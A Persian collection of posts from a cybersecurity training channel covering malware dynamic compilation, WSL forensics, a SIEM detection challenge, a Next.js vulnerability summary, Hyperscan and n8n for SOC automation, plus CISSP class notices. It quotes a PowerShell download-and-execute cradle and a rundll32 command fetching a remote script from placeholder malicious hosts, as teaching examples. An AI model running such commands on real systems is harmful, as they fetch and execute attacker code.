کامپایل داینامیک

از منظر تحلیلگر بدافزار این موضوع به معنای تولید و اجرای کد در زمان اجرا است. این روش توسط بسیاری از بدافزارها به منظور مخفی کردن رفتار واقعی‌شان یا جلوگیری از شناسایی شدن توسط ابزارهای امنیتی استفاده می‌شود.

کامپایل داینامیک به بدافزار اجازه می‌دهد که در لحظه اجرا، کدی جدید تولید کند، بخش‌های مخرب را دریافت کرده و اجرا کند، و خود را از تحلیل استاتیک یا سنتی دور نگه دارد.


کامپایل داینامیک چگونه در بدافزارها استفاده می‌شود؟

1. تولید کد مخرب در زمان اجرا

در این روش، بدافزار از کدی که در فایل اصلی نوشته شده است، استفاده نمی‌کند. در عوض، کد مخرب خود را داینامیک تولید می‌کند یا از سرور Command & Control (C2) دریافت می‌کند. این کار معمولاً باعث می‌شود تحلیلگر نتواند رفتار بدافزار را به‌طور کامل در بررسی اولیه شناسایی کند.

2. اجرا در حافظه (Fileless Execution)
کامپایل داینامیک اغلب همراه با تکنیک‌های اجرای در حافظه (Fileless) دیده می‌شود. این یعنی بدافزار فایل اجرایی یا کدی را روی دیسک ذخیره نمی‌کند و مراحل مخرب خود را مستقیم در RAM اجرا می‌کند. این روش شناسایی بدافزار را برای ابزارهای امنیتی مبتنی بر تحلیل فایل دشوارتر می‌کند.

3. مبهم‌سازی و تاخیر در تحلیل

کامپایل داینامیک یکی از تکنیک‌های رایج مبهم‌سازی (Obfuscation) محسوب می‌شود. بسیاری از ابزارهای تحلیل بدافزار نمی‌توانند کدی را که در زمان اجرا تولید می‌شود، به راحتی بررسی کنند. این مسئله باعث سخت‌تر شدن دیباگ و تحلیل رفتار بدافزار می‌شود.


مثال‌های رایج از کامپایل داینامیک در بدافزارها

PowerShell Cradle
بدافزارهای مبتنی بر PowerShell معمولاً از تکنیک‌های کامپایل داینامیک استفاده می‌کنند تا کد مخرب را از سرور بارگذاری کرده و مستقیم اجرا کنند. به عنوان مثال:

IEX (New-Object Net.WebClient).DownloadString('http://malicioussite.com/payload.ps1');


- این کد در زمان اجرا، اسکریپت مخرب را از وب‌سایت دریافت کرده، و آن را داینامیک کامپایل و اجرا می‌کند.

Dynamic DLL Loading

برخی بدافزارها به‌جای اینکه همه کد مخرب را در فایل اصلی ذخیره کنند، فقط هسته بدافزار را اجرا کرده و سپس DLLهای مخربرا با کامپایل داینامیک بارگذاری می‌کنند. این کار معمولاً از طریق API‌های ویندوز مثل LoadLibrary انجام می‌شود.

JavaScript Eval

تکنیک‌های کامپایل داینامیک در JavaScript نیز به وفور استفاده می‌شود. بدافزار ممکن است از دستور eval() استفاده کند تا کدی که به صورت داینامیک تولید یا دریافت شده است را اجرا کند.

javascript
let dynamicCode = "alert('Executed malicious code!')";
eval(dynamicCode); // اجرای کد مخرب

تحلیل کامپایل داینامیک در بدافزار

چالش‌ها
1. کد دینامیک و غیرقابل پیش‌بینی:چون کد واقعی در زمان اجرا تولید می‌شود، تحلیلگر نمی‌تواند به طور مستقیم در فایل اولیه رفتار بدافزار را شناسایی کند.
2. اجرای در حافظه: ممکن است بدافزار فایل یا ردپای مشخصی روی دیسک نداشته باشد و فقط در حافظه فعالیت کند.
3. مبهم‌سازی کد: کد داینامیک معمولاً با تکنیک‌های مبهم‌سازی همراه است تا باز کردن و خواندن آن پیچیده‌تر شود.

#آکادمی_روزبه
مرکز تخصصی CISSP

پنج شنبه شروع کلاس CISSP

ساعت ۱۲:۳۰ تا ۱۶:۳۰

آنلاین در سراسر ایران

برخی دوستان امکان دانلود CIS رو نداشتن

بعنوان یه راهکار جمع و جور واسه نقشه راه سازمان توصیه اش میکنم

اما اگر میخواین یه معمار و طراح اصولی واسه امنیت بشین راهکارش CISSP هست

گزارش فنی بخوانیم

#آکادمی_روزبه

نکاتی از پاورشل برای تیم های قرمز و آبی و بنفش

#آکادمی_روزبه

راهنمایی برای هانت

#آکادمی_روزبه

نگاهی به فارنزیک در WSL

مقوله WSL (Windows Subsystem for Linux) یک محیط برای اجرای توزیع‌های لینوکس در ویندوز است که اخیراً به دلیل قابلیت‌ها و انعطاف‌پذیری آن، توجه هکرها و تحلیلگران امنیت سایبری را به خود جلب کرده است.
در زمینه فارنزیک، WSL به عنوان یک چالش جدید دیده می‌شود چون بسیاری از ابزارهای فارنزیک سنتی نمی‌توانند به طور مؤثر داده‌های WSL را تحلیل کنند.
در ادامه به جنبه‌های مهم فارنزیک در WSL نگاهی می‌اندازم:

1. چرا فارنزیک در WSL اهمیت پیدا کرده است؟

مخفی بودن فعالیت‌ها: استفاده از محیط لینوکس در ویندوز به مهاجمان اجازه می‌دهد تا فعالیت‌های مخرب خود را دور از نظارت ابزارهای سنتی امنیتی ویندوز اجرا کنند.
بازیابی داده‌ها: فضاهای ذخیره‌سازی و فایل‌سیستم WSL (مانند استانداردهای لینوکس مثل Ext4) با ابزارهای فارنزیک ویندوز سازگار نیستند و این باعث کاهش قابلیت شناسایی می‌شود.
ترکیب سیستم‌ها: مهاجمان می‌توانند از قابلیت‌های ویندوز و لینوکس به طور ترکیبی استفاده کنند تا قابلیت‌های مخرب را افزایش دهند.

2. موضوع Artifactهای کلیدی در WSL

در فارنزیک، Artifact به هر داده یا منطقی گفته می‌شود که بتواند اطلاعات مفیدی درباره یک فعالیت مخرب یا مجرمانه ارائه دهد. در WSL، Artifactها شامل موارد زیر هستند:

الف) فایل‌های سیستمی توزیع لینوکس
(WSL Filesystem):

مسیر ذخیره‌سازی فایل‌ها در WSL:
نسخه 1: مسیر ذخیره‌سازی در ویندوز (مانند C:\Users\Username\AppData\Local\lxss).
نسخه 2: WSL از یک ماشین مجازی سبک با فایل‌سیستم Ext4 استفاده می‌کند. فایل‌های لینوکس در یک فایل vhd قرار می‌گیرند (مانند C:\Users\Username\AppData\Local\Packages\...).
مهاجمان ممکن است فایل‌های اجرایی مخرب (مثل اسکریپت‌های Bash یا فایل‌های رمزگذاری‌شده) را در این مسیرها ذخیره کنند.

ب)فایل‌های Log و تنظیمات:

فایل‌های کانفیگ: فایل‌هایی مثل wsl.conf یا فایل‌های محیطی سیستم لینوکس.
سشن‌ها و لاگ‌ها: مسیرهای ذخیره لاگ‌ها و فعالیت‌های کاربر در محیط لینوکس یا ویندوز که شامل تاریخچه ترمینال لینوکس (مانند .bash_history) می‌شود.
پروسه‌ها: پروسه‌های فعال در محیط WSL که در Task Manager ویندوز قابل مشاهده نیستند.

ج) شبکه و C2 ارتباطات:

این WSL می‌تواند با شبکه ویندوز به اشتراک بپردازد، که مهاجمان از آن برای ارتباط با سرورهای C2 استفاده می‌کنند.

د) ماشین مجازی:

چون WSL2 از ماشین مجازی بهره می‌گیرد، بررسی حافظه (Memory Dump) آن می‌تواند اطلاعات ارزشمندی درباره فعالیت‌های مخرب به دست دهد.



#آکادمی_روزبه
مرکز تخصصی CISSP

پی نوشت :
مقوله WSL 1 در واقع یک لایه سازگاری است که syscall های لینوکس را مستقیماً به syscall های ویندوز ترجمه می‌کند. در این معماری، فایل‌های لینوکس مستقیماً در فایل‌سیستم ویندوز (معمولاً در پوشه AppData\Local\lxss) ذخیره می‌شوند.

اما WSL 2 از یک ماشین مجازی سبک (lightweight utility virtual machine) استفاده می‌کند که یک هسته لینوکس واقعی را اجرا می‌کند. در این معماری، فایل‌های لینوکس در یک فایل دیسک مجازی (VHD) با فایل‌سیستم Ext4 ذخیره می‌شوند. به همین دلیل، تحلیل حافظه (Memory Dump) ماشین مجازی WSL 2 می‌تواند اطلاعات مربوط به پروسه‌ها، حافظه استفاده شده توسط هسته لینوکس و سایر فعالیت‌های درون محیط WSL 2 را فراهم کند، که در WSL 1 به این شکل قابل دسترسی نیست.

✅دوستانی که در کلاس CISSP ثبت نام کرده اند به همان شماره ثبت نامی ؛ تا فردا ظهر اطلاعات برای حضور در کلاس ارسال میگردد

💠ضمنا لینک گروه تلگرامی هم ارسال میشود
در این گروه موارد زیر مطرح میگردد:

-بحث و تبادل نظر در خصوص مطالب درسی
- نکات آزمون
-رفع اشکال
- تبادل منابع
- تست زنی

لذا بخشی از کلاس عملا در گروه میباشد پس شرکت و مطالعه مطالب گروه لازم است.

چالش واسه تحلیلگر سطح ۱



فرض کنید در یک لاگ از SIEM متوجه الگوی زیر شده‌اید:


Parent Process: powershell.exe
Child Process: rundll32.exe
Command Line: rundll32.exe javascript​:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//malicious[.]domain/payload.sct").Run();


❓به‌نظر شما:

1. این تکنیک از چه نوع حمله‌ای استفاده می‌کنه؟

2. کدام دسته از تکنیک‌های MITRE ATT\&CK رو پوشش می‌ده؟
3. چطور می‌تونید این رفتار رو با SIEM یا EDR شناسایی کنید؟
4. چه روش‌هایی برای جلوگیری از اجرای چنین اسکریپت‌هایی پیشنهاد می‌کنید؟


#آکادمی_روزبه
مرکز تخصصی CISSP

سایت Tool Analysis Result Sheet متعلق به JPCERT/CC (مرکز هماهنگ‌سازی تیم پاسخ به حوادث ژاپن) است و برای ارائه تحلیل ابزارهای مخرب و فعالیت‌های مشکوک طراحی شده است.
این پلتفرم به تحلیل‌کنندگان امنیت سایبری و فارنزیک کمک می‌کند تا اطلاعات دقیق، دستورالعمل‌ها، و نتایج تحلیل ابزارها یا فایل‌های مخرب خاص را در یک قالب ساختاریافته دریافت کنند.

#آکادمی_روزبه
مرکز تخصصی CISSP

https://jpcertcc.github.io/ToolAnalysisResultSheet/

ساعت ۱۲:۳۰فردا کلاس CISSPشروع می‌شود

و لذت ببرید ...

ATT&CK Powered Suit is a freely available browser extension that puts the MITRE ATT&CK® knowledge base at your fingertips. This extension enables quick searches for tactics, techniques, and more without disrupting your workflow. Easily copy snippets into a notebook to streamline your research. Export selected techniques to ATT&CK navigator.

#آکادمی_روزبه

https://ctid.mitre.org/projects/attack-powered-suit/

آنالیز بک دور بریک استورم
#آکادمی_روزبه

چک لیست ممیزی NIST CSF 2

#آکادمی_روزبه
مرکز تخصصی CISSP

ایده هایی در هانت و کشف

✍روزبه نوروزی

شکار تهدید مبتنی بر رفتار (Behavior‑based Threat Hunting) با استفاده از یادگیری تقویتی (Reinforcement Learning) روی داده‌های EDR/XDR

چرا مهم است؟

1. جنگ هوشمندیها
در حالی که مهاجمان از تکنیک‌های هوشمندی مانند بدافزارهای بدون فایل (fileless) و “Living‑off‑the‑Land” استفاده می‌کنند، سیستم یادگیری تقویتی می‌تواند به‌صورت بلادرنگ راهبردهای دفاعی خود را تکامل دهد و عملاً به یک شکارچی خودآموز تبدیل شود.

2. گام بعدی پس از مدل‌های نظارتی
مدل‌های یادگیری نظارتی (supervised) به نمونه‌های برچسب‌خورده تکیه دارند؛ اما یادگیری تقویتی با دریافت پاداش/جریمه از محیط (شبکه، میزبان، لاگ‌ها) خودش تصمیم‌گیری را یاد می‌گیرد. این به‌ویژه برای تشخیص الگوهای ناشناخته مفید است.

3. پیوند با EDR/XDR
راهکارهای EDR/XDR داده‌های غنی و بلادرنگ در سطح فرایند، شبکه و حافظه فراهم می‌کنند. تلفیق آن با عامل RL به سیستم اجازه می‌دهد که:

* اعمال مشکوک را وزن‑دهی کند (مثلاً اجرای PowerShell با پارامترهای رمزگذاری شده)،
* حرکت جانبی را قبل از کامل شدن شناسایی کند،
* و حتی واکنش‌های خودکار مرحله‌بندی‑شده (containment policy) تعریف نماید.

4. زمینه پژوهشی‑عملی

* فاز پژوهشی: طراحی محیط شبیه‌ساز (Gym-like) که در آن عامل RL روی داده‌های حملات واقعی/تولیدشده تمرین کند.
* فاز عملیاتی: استقرار عامل به‌صورت ماژول در کنار EDR موجود (مثل CrowdStrike Falcon یا SentinelOne یا ترند میکرو) و مانیتور متریک‌های کاهش MTTD/MTTR.

5. چالش‌ها و فرصت‌ها

* جلوگیری از overfitting عملیاتی(عامل نباید تنها روی یک محیط شبکه خاص عادت کند).
* متعادل‌سازی بین نرخ خطای مثبت کاذب و واکنش خودکار (تا باعث قطع سرویس نشود).
* بهره‌گیری از متریک‌های چندهدفی (امنیت + کارایی سیستم).

#آکادمی_روزبه
مرکز تخصصی CISSP

حمله علیه محیط دواپس

#آکادمی_روزبه
مرکز تخصصی CISSP

موضوع مقاله:

تحلیل و اکسپلویت شرطی یک Race-Condition عمدی در Next.js



آشنایی با آسیب‌پذیری روز در Next.js و تاثیرات آن:


مقاله به بررسی یک آسیب‌پذیری جدید (CVE-2025-32421) می‌پردازد که ادامه‌ی آسیب‌پذیری قبلی (CVE-2024-46982، معروف به stale elixir) در Next.js است.
تاکید شده که حتی پس از وصله، مهاجمان در شرایط خاص ( ترکیب Race condition با cache poisoning و تنظیمات نادرست CDN ) قادر به bypass کردن patch اولیه و انجام حمله هستند.

درک عمیق از Attack Surface و حملات ترکیبی (Chain):
نشان می‌دهد چگونه ضعف در پیاده‌سازی یا Misconfiguration خارج از هسته فریم‌ورک (مثلاً تنظیمات CDN) می‌تواند همچنان زمینه بهره‌برداری مهاجم را فراهم کند.
رویکرد حمله مبنی بر chain کردن دو آسیب‌پذیری (Race Condition + Cache Poisoning) است، یک مهارت پیشرفته در حملات اپلیکیشن‌های وب.

یادگیری مدل تهدید و سوءاستفاده’scenario:
شرح داده می‌شود که در نسخه‌های بین 14.2.10 تا 15.1.6 با سوءاستفاده از header خاص (x-now-route-matches) و رفتار Batch Promise در Next.js - مهاجم می‌تواند در شرایطی خاص، کش CDN را مسموم کند و منجر به XSS یا DoS شود.
این مثال سناریوی خوبی برای Threat Modeling و نگارش Use-caseهای Detection در SIEM/XDR است.

اهمیت Misconfiguration در امنیت عملیاتی:
تاکید روی این موضوع که بسیاری از Exploitها صرفاً به دلیل تنظیم نادرست یا نقص در فرآیندهای عملیاتی (Ops) ممکن می‌شوند.
قابلیت Detection این حمله نیاز به پایش رفتار غیرعادی headerها و تحلیل لاگ‌های CDN یا reverse proxy دارد.

مطالعه کد و تکنیک‌های پیشرفته:
مقاله کد منبع (batcher.ts) را تحلیل می‌کند که برای فهم عمیق‌تر نحوه exploit یک Race-Condition واقعی و کاربردی در Code Review بسیار ارزشمند است.

#آکادمی_روزبه
مرکز تخصصی CISSP

مباحث مدل سازی تهدید ، Race condition و تنظیمات غلط در دوره CISSP بررسی می‌شوند

https://zhero-web-sec.github.io/research-and-things/eclipse-on-nextjs-conditioned-exploitation-of-an-intended-race-condition

پروژه Hyperscan از Intel در گیت‌هاب

یک کتابخانه اوپن‌سورس بسیار سریع و بهینه شده برای جست‌وجوی الگو (Pattern Matching) در داده‌های متنی است. این ابزار معمولاً برای کار با رشته‌های متنی بزرگ یا جریان داده (مثل بسته‌های شبکه) استفاده می‌شود، جایی که باید تعداد زیادی الگو را همزمان جست‌وجو کرد.

1️⃣ به چه دردی می‌خورد؟
کاربرد اصلی Hyperscan چیست؟

این Hyperscan یک ابزار تخصصی برای سرعت دادن به فرآیند تطبیق رجکس (Regular Expressions / Regex) است. یعنی اگر بخواهید ده‌ها یا صدها regex را روی داده‌های ورودی زیاد یا با سرعت بالا تست کنید، Hyperscan بهترین گزینه ممکن است.

کاربردهای مطرح Hyperscan:

تشخیص و پالایش محتوا (Content Filtering):
به‌کار رفته در موتورهای ضدویروس و ضدبدافزار برای جستجوی امضاها (Signatures) در فایل‌های مشکوک.
سیستم‌های تشخیص نفوذ (IDS/IPS like Suricata):
این Hyperscan موتور pattern matching پیش‌فرض Suricata در حالت multi-pattern است؛ برای شناسایی حملات و بدافزارها در ترافیک شبکه.
جست‌وجوی سریع قانون‌ها/پالایش در فایروال‌ها و پروکسی‌ها
جلوگیری از عبور اطلاعات، داده یا کد مخرب از روی شبکه.
تحلیل و پایش داده‌های بزرگ (Big Data Analytics):
هر جا به سرعتِ بالا و آزمودن مجموعه زیادی قاعده regex نیاز باشد.

2️⃣ چرا سنگین و سریع؟

استفاده از SIMD و پردازش موازی:با بهره‌گیری از دستورالعمل‌های مخصوص پردازنده Intel (مثل AVX2 و SSE)، Hyperscan الگوها را به طور همزمان با بیشترین سرعت ممکن تطبیق می‌دهد.
بهینه‌شده برای محیط‌های real-time:مناسب برای جاهایی که زمان پاسخ بحرانی است (مانند فایروال‌ها و سیستم‌های تجزیه و تحلیل بلادرنگ).

3️⃣ چه کسی باید از آن استفاده کند؟

توسعه‌دهندگان فایروال، IDS/IPS، ابزارهای امن‌سازی شبکه یا جست‌وجوی سریع روی داده‌های متنی خیلی زیاد.
کسانی که نیازمند speed بهینه برای Regex Matching در پروژه‌های امنیتی و تحلیل دیتا هستند.

4️⃣ خلاصه :

اگر بخواهید حجم زیادی داده را با صدها الگوی regex، بی‌نهایت سریع و Real-Time جست‌وجو کنید، یکی از بهترین انتخاب‌هاست و در محصولات امنیتی مثل Suricata، WAF، آنتی‌ویروس و … کاربرد جدی دارد.


#آکادمی_روزبه
مرکز تخصصی CISSP

https://github.com/intel/hyperscan

معرفی n8n

ابزار n8n (مخفف “nodemation”) یک ابزار اتومیشن و یکپارچه‌سازی (Integration & Automation Platform) با کد باز است که نقش مهمی بین سرویس‌ها و برنامه‌های مختلف ایفا می‌کند.
ابزار n8n به شما اجازه می‌دهد، بدون نیاز به برنامه‌نویسی حرفه‌ای، فرایندها و Workflowهای پیچیده بسازید و سرویس‌های متنوع را به هم متصل کنید. شبیه به Zapier یا Microsoft Power Automate، اما با قابلیت‌های توسعه‌پذیری بیشتر، انعطاف بالاتر و بدون محدودیت‌های ابری.

کد باز (Open Source) و قابل اجرا روی سرور شخصی

امکان ساخت و اجرای گردش‌کارها (Workflows) به صورت Drag & Drop

پشتیبانی از بیش از ۳۰۰ سرویس (مانند Slack، Google, Twitter, GitHub, SSH, Email و…)

امکان تعریف کد جاوااسکریپت سفارشی داخل هر node


کاربرد n8n در امنیت سایبری


ابزار n8n تنها یک ابزار اتوماسیون عمومی نیست؛ می‌تواند در امنیت سایبری کاربردهای فوق‌العاده‌ای داشته باشد:
1. اتوماسیون عملیات SOC (امنیت مرکز عملیات)
دریافت هشدار از سیستم SIEM و ارسال خودکار به Telegram/Email/Slack
اعمال آپدیت تدافعی، بلاک IP، یا واکنش سریع در صورت کشف تهدید
2. انجام Orchestration - به‌هم‌رسانی ابزارها
اتصال ابزارهایی مثل Splunk, ELK, The Hive, MISP, VirusTotal و… به هم
یکپارچه‌سازی هشدار‌ها، جمع‌آوری اطلاعات IOC (Indicator of Compromise) و اطلاع‌رسانی
3. تهیه گزارش و هشدار خودکار
ساخت گردش‌کار برای اسکن دوره‌ای دامنه، سرورها و جمع‌بندی گزارشی و ارسال به ادمین
هشدار همکاری خودکار: در صورت شناسایی تهدید روی شبکه، می‌توانید اتوماتیک یک Issue روی GitHub یا سیستم تیکت‌گذاری امنیتی باز کنید
4. تواناییThreat Intelligence Automation
جمع‌آوری اطلاعات تهدیدات از چندین سرویس Open Source و ذخیره سریع در یک دیتابیس امنیتی یا ارسال به تیم SOC
5. واکنش خودکار (Automated Incident Response)
مثلا بعد از شناسایی پورت مشکوک یا لاگ ورود غیر مجاز، خودکار بلاک فایروال، لغو دسترسی یا اطلاع به مدیران امنیت

مزایای ویژه n8n برای امنیت سایبری

کنترل کامل روی داده: بر خلاف سرویس‌های ابری، داده‌های محرمانه شما لو نمی‌روند.
قابلیت تست و توسعه سریع: WorkFlowهای آزمایشی خود را سریع بسازید و تغییر دهید، یا از کتابخانه Workflowهای آماده جامعه استفاده کنید.
یکپارچه‌سازی آسان با ابزارهای امنیتی متن‌باز مثل MISP، The Hive، ELK و غیره
کاهش خطای انسانی و افزایش سرعت واکنش: اقدامات اضطراری طبق سناریوهای از پیش طراحی‌شده اتوماتیک انجام می‌شود.
هزینه بسیار پایین نسبت به رقبای ابری (Zapier, Make) و بدون محدودیت شدید
گسترش‌پذیری و شخصی‌سازی نامحدود: هر Node را می‌توان ویرایش و حتی Node دلخواه ساخت.


نمونه‌ای از یک Workflow امنیتی ساده در n8n

سناریو: اگر هشداری از Splunk با severity بالا آمد => یک پیام به Slack تیم امنیت ارسال شود + آی‌پی مشکوک در فایروال بلاک شود.
Node 1: دریافت رویداد از Splunk
Node 2: بررسی سطح severity و فیلتر کردن به فقط critical
Node 3: ارسال پیام با جزئیات threat به کانال Slack
Node 4: اجرای دستور API روی فایروال یا ارسال دستور SSH برای بلاک IP مشکوک


#آکادمی_روزبه
مرکز تخصصی CISSP